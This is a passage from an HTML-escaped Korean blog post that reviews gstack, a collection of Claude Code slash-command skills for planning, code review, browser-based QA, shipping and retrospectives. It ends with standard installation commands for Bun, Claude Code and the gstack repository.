&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;세션 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Chrome, Arc, Brave, Edge에서 쿠키 가져와 헤드리스 세션에 임포트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/gstack-upgrade&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;셀프 업데이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack을 최신 버전으로 업그레이드. 글로벌/벤더 설치 자동 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 YC Office Hours &amp;mdash; /office-hours (신규)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOluR9/dJMcabDFt5L/BGt5OPAVa6qiupte6fbLR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOluR9/dJMcabDFt5L/BGt5OPAVa6qiupte6fbLR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOluR9/dJMcabDFt5L/BGt5OPAVa6qiupte6fbLR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOluR9%2FdJMcabDFt5L%2FBGt5OPAVa6qiupte6fbLR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1100&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 워크플로우의 &lt;b&gt;시작점&lt;/b&gt;이다. 코드를 한 줄도 쓰기 전에 &lt;b&gt;6가지 강제 질문&lt;/b&gt;으로 제품을 재정의한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan이 실제 YC Office Hours에서 창업자들에게 던지는 질문을 AI 에이전트가 대신 수행하는 구조다. 전제를 도전하고, 기존 프레이밍을 부수고, 구현 대안을 생성한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬이 만든 디자인 문서가 이후 &lt;code&gt;/plan-ceo-review&lt;/code&gt; 등 모든 하위 스킬의 입력이 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 15px; border-left: 4px solid #28a745; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;/office-hours가 만드는 가치&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 AI 코딩 어시스턴트는 &quot;이 기능 만들어줘&quot;라고 하면 바로 코딩을 시작한다. /office-hours는 반대로 &quot;이 기능이 정말 필요한가? 더 나은 방법은 없는가?&quot;부터 묻는다. 디자인 문서에 revision chain이 기록되어, 아이디어가 어떻게 진화했는지 추적할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 CEO 리뷰 모드 &amp;mdash; /plan-ceo-review&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬은 &lt;b&gt;창업자의 시각&lt;/b&gt;으로 문제를 바라보는 인지 모드를 활성화한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순히 요청된 기능을 구현하는 게 아니라, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;이 문제를 해결하는 가장 탁월한 방법은 무엇인가?&quot;&lt;/b&gt;&lt;/span&gt;를 먼저 묻는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;4가지 동작 모드를 제공한다: &lt;b&gt;Expansion&lt;/b&gt;(범위 확장), &lt;b&gt;Selective Expansion&lt;/b&gt;(선택적 확장), &lt;b&gt;Hold Scope&lt;/b&gt;(범위 유지), &lt;b&gt;Reduction&lt;/b&gt;(범위 축소).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan이 YC 창업자들에게 늘 강조하는 &quot;10-star product&quot; 개념이 여기에 녹아 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Airbnb의 사례로 설명하면, 별 1개짜리 경험은 &quot;호스트가 집 열쇠를 보내줬다&quot;이고, 별 10개짜리 경험은 &quot;공항에서부터 개인 컨시어지가 안내해주고 방에 선물이 준비되어 있다&quot;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬은 AI가 별 10개짜리 솔루션을 먼저 상상한 후, 현실적으로 가능한 범위를 좁히는 방식으로 작동한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;/plan-ceo-review 사용 시점&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;새로운 기능 개발 시작 전&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;기존 접근법에 막혔을 때&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용자 경험(UX) 개선 방향을 정할 때&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;경쟁사 대비 차별화 전략을 구상할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 엔지니어링 매니저 모드 &amp;mdash; /plan-eng-review&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CEO 리뷰가 &quot;무엇을 만들 것인가&quot;를 정한다면,&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;엔지니어링 매니저 모드는 &lt;b&gt;&quot;어떻게 만들 것인가&quot;&lt;/b&gt;를 정한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아키텍처를 확정하고, 데이터 플로우를 다이어그램으로 문서화하고, 에지 케이스와 예외 상황을 미리 정의한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬이 실행되면 Claude Code는 엔지니어링 리드의 역할을 맡아 다음을 수행한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;아키텍처 다이어그램&lt;/b&gt;: 컴포넌트 간 관계와 데이터 흐름을 Mermaid 또는 텍스트 다이어그램으로 표현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인터페이스 정의&lt;/b&gt;: API 계약, 데이터 스키마, 타입 정의&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;에지 케이스 목록화&lt;/b&gt;: &quot;무엇이 잘못될 수 있는가&quot;를 체계적으로 나열&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;구현 순서 정의&lt;/b&gt;: 의존성 기반 태스크 순서화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.4 Staff Engineer 모드 &amp;mdash; /review&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpX887/dJMcaf0k3ET/jt2khF2DceL11caNY9Ktfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpX887/dJMcaf0k3ET/jt2khF2DceL11caNY9Ktfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpX887/dJMcaf0k3ET/jt2khF2DceL11caNY9Ktfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpX887%2FdJMcaf0k3ET%2Fjt2khF2DceL11caNY9Ktfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1108&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 스킬이 핵심이다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;CI를 통과하는 프로덕션 버그를 찾아라.&quot;&lt;/b&gt;&lt;/span&gt; 테스트가 모두 통과하고, 린터에도 걸리지 않지만 실제 서비스에서는 문제가 되는 버그들이 있다. Race condition, 메모리 누수, 타임아웃 처리 누락, 인증 우회 가능성 같은 것들이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/review 스킬은 특히 &lt;b&gt;Greptile 통합&lt;/b&gt;이 인상적이다. Greptile은 자동화된 코드 리뷰 도구인데, PR 코멘트를 자동 생성한다. /review 실행 시 이 Greptile 코멘트를 가져와서 세 가지로 분류한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;유효한 이슈&lt;/b&gt;: 실제로 수정이 필요한 문제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;이미 수정됨&lt;/b&gt;: 다른 커밋에서 이미 해결된 문제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;False Positive&lt;/b&gt;: 실제로는 문제없는 오탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.5 QA Engineer 모드 &amp;mdash; /browse, /qa&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 가장 독특한 기술적 특징이 여기에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/browse&lt;/b&gt;는 Claude Code에 실제 &quot;눈&quot;을 달아주는 스킬이다. Playwright를 컴파일한 바이너리를 통해 Claude Code가 실제 브라우저를 조작하고 화면을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순한 스크린샷이 아니다. Claude Code가 직접 버튼을 클릭하고, 폼을 입력하고, 네트워크 요청을 확인하며 QA 테스트를 수행한다. 개발자가 &quot;로그인 후 대시보드가 올바르게 표시되는지 확인해줘&quot;라고 요청하면, Claude Code가 실제 브라우저를 열어 테스트한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/qa&lt;/b&gt;는 한 단계 더 나아간다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;diff-aware testing&lt;/b&gt;&lt;/span&gt; &amp;mdash; 코드 변경 사항을 분석해서, 변경으로 인해 영향받을 수 있는 페이지와 기능을 자동으로 식별하고, 그것들을 우선적으로 테스트한다. 변경하지 않은 기능까지 전수 테스트하는 낭비를 줄인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1088&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWHaH6/dJMcacWQPVo/houKqK1Se2dCvtLktdTCHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWHaH6/dJMcacWQPVo/houKqK1Se2dCvtLktdTCHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWHaH6/dJMcacWQPVo/houKqK1Se2dCvtLktdTCHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWHaH6%2FdJMcacWQPVo%2FhouKqK1Se2dCvtLktdTCHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1088&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;/browse 사용 시 주의사항&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 공식 가이드는 Chrome-specific MCP 도구 사용을 지양하고, 안정성과 속도를 위해 /browse 스킬 또는 &lt;code&gt;$B &amp;lt;command&amp;gt;&lt;/code&gt; 직접 바이너리 호출을 권장한다. /browse는 macOS와 Linux(x64/arm64)에서만 지원된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.6 Release Engineer 모드 &amp;mdash; /ship&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/ship은 배포의 전 과정을 담당하는 Release Engineer 모드다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순히 `git push`가 아니라, 배포 전 체크리스트를 체계적으로 실행한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# /ship 실행 시 자동으로 수행하는 단계들 (예상되는 단계 흐름)
1. git sync &amp;mdash; 최신 upstream 변경사항 반영
2. 테스트 실행 &amp;mdash; 전체 테스트 스위트 통과 확인
3. 코드 리뷰 코멘트 처리 &amp;mdash; Greptile 및 팀원 코멘트 트리아지
4. PR 생성 &amp;mdash; 제목, 설명, 변경 사항 요약 자동 작성
5. 최종 푸시 &amp;mdash; 브랜치 푸시 및 PR 링크 출력&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.7 세션 매니저 &amp;mdash; /setup-browser-cookies&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;인증이 필요한 페이지를 테스트할 때 필요한 스킬이다. 실제 브라우저의 쿠키와 세션 정보를 가져와서, Claude Code의 /browse 스킬이 로그인된 상태로 테스트를 수행할 수 있게 한다. 관리자 페이지, 사용자 대시보드 등 로그인 후에만 접근 가능한 화면을 자동화 테스트할 때 사용한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.8 회고 매니저 &amp;mdash; /retro&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;/retro는 엔지니어링 매니저 역할로서 팀 회고를 생성한다. 단순한 템플릿 채우기가 아니라, 실제 팀 메트릭(배포 횟수, 버그 발생률, PR 리뷰 시간 등)을 기반으로 팀별, 개인별 맞춤 피드백을 작성한다. 스프린트 회고를 자동화하고 싶은 팀에게 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 4: 설치 방법 ===== --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설치 및 셋업 방법 (단계별 가이드)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack 설치는 Claude Code 내부에서 설치 커맨드를 붙여넣는 방식으로 진행된다. 설치 스크립트가 나머지를 자동으로 처리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 사전 준비&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 18px 22px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;Claude Code가 처음이라면?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 &lt;b&gt;Claude Code&lt;/b&gt;(Anthropic의 터미널 기반 AI 코딩 에이전트) 위에서 동작한다. &lt;br /&gt;Claude Code는 유료 구독이 필요하며, &lt;b&gt;Pro($20/월)&lt;/b&gt; 또는 &lt;b&gt;Max($100/월 또는 $200/월)&lt;/b&gt; 플랜에서 사용 가능하다 (2026년 3월 기준). API 키(종량제)로도 사용할 수 있다. Claude Code 자체의 설치/구독이 먼저 되어 있어야 gstack을 사용할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;설치 (공식 권장): &lt;code&gt;curl -fsSL &lt;a href=&quot;https://claude.ai/install.sh&quot;&gt;https://claude.ai/install.sh&lt;/a&gt; | bash&lt;/code&gt;&lt;br /&gt;또는 npm: &lt;code&gt;npm install -g @anthropic-ai/claude-code&lt;/code&gt; (deprecated, 아직 작동)&lt;br /&gt;공식 가이드: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs.anthropic.com/en/docs/claude-code&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;&quot;슬래시 커맨드&quot;와 &quot;스킬&quot;이란?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 &lt;code&gt;/&lt;/code&gt;를 입력하면 사용 가능한 커맨드 목록이 나타난다. 이것이 &lt;b&gt;슬래시 커맨드&lt;/b&gt;다.&lt;br /&gt;&lt;b&gt;스킬(Skill)&lt;/b&gt;은 &lt;code&gt;~/.claude/skills/&lt;/code&gt; 디렉토리에 SKILL.md 파일로 정의되는 확장 기능이다. &lt;br /&gt;gstack을 설치하면 이 디렉토리에 29개의 스킬이 추가되어, &lt;code&gt;/office-hours&lt;/code&gt;, &lt;code&gt;/review&lt;/code&gt; 등의 새로운 슬래시 커맨드를 사용할 수 있게 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;1420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pM42t/dJMcaa5O9tH/3Enwdu9ZG1LdH4NZKsRWFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pM42t/dJMcaa5O9tH/3Enwdu9ZG1LdH4NZKsRWFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pM42t/dJMcaa5O9tH/3Enwdu9ZG1LdH4NZKsRWFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpM42t%2FdJMcaa5O9tH%2F3Enwdu9ZG1LdH4NZKsRWFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2296&quot; height=&quot;1420&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;1420&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 1. Bun 설치 (아직 없다면)
curl -fsSL https://bun.sh/install | bash
# ⚠️ 설치 후 터미널을 재시작하거나 아래 명령어 실행:
source ~/.bashrc  # 또는 source ~/.zshrc (macOS 기본)

# 2. Bun 버전 확인
bun --version
# 1.0 이상이어야 함

# 3. Claude Code 설치 확인
claude --version
# 설치되어 있지 않다면: curl -fsSL https://claude.ai/install.sh | bash&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 글로벌 설치 (Claude Code &amp;mdash; 개인 사용)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;터미널에서 아래 커맨드를 실행한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;git clone 후 setup 스크립트가 브라우저 바이너리 컴파일과 설정을 자동 처리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Claude Code 글로벌 설치 (개인)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/.claude/skills/gstack &amp;amp;&amp;amp; \
cd ~/.claude/skills/gstack &amp;amp;&amp;amp; ./setup&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #28a745; margin: 15px 0;&quot;&gt;&lt;b&gt;설치 성공 확인 방법&lt;/b&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;설치가 완료되면 Claude Code를 재시작하고 &lt;code&gt;/&lt;/code&gt;를 입력해본다. &lt;code&gt;/office-hours&lt;/code&gt;, &lt;code&gt;/review&lt;/code&gt; 등 gstack 스킬이 자동완성 목록에 나타나면 성공이다. 나타나지 않으면 &lt;code&gt;cd ~/.claude/skills/gstack &amp;amp;&amp;amp; ./setup&lt;/code&gt;을 다시 실행한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 프로젝트별 팀 설치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;팀 전체가 같은 셋업을 사용하고 싶다면 프로젝트 레벨로 복사한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이너리와 의존성은 `.gitignore`에 추가되며, 팀원 각자가 setup 스크립트를 한 번씩 실행해서 로컬에 컴파일한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 프로젝트별 설치 (팀 공유)
cp -Rf ~/.claude/skills/gstack .claude/skills/gstack &amp;amp;&amp;amp; \
rm -rf .claude/skills/gstack/.git &amp;amp;&amp;amp; \
cd .claude/skills/gstack &amp;amp;&amp;amp; ./setup&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
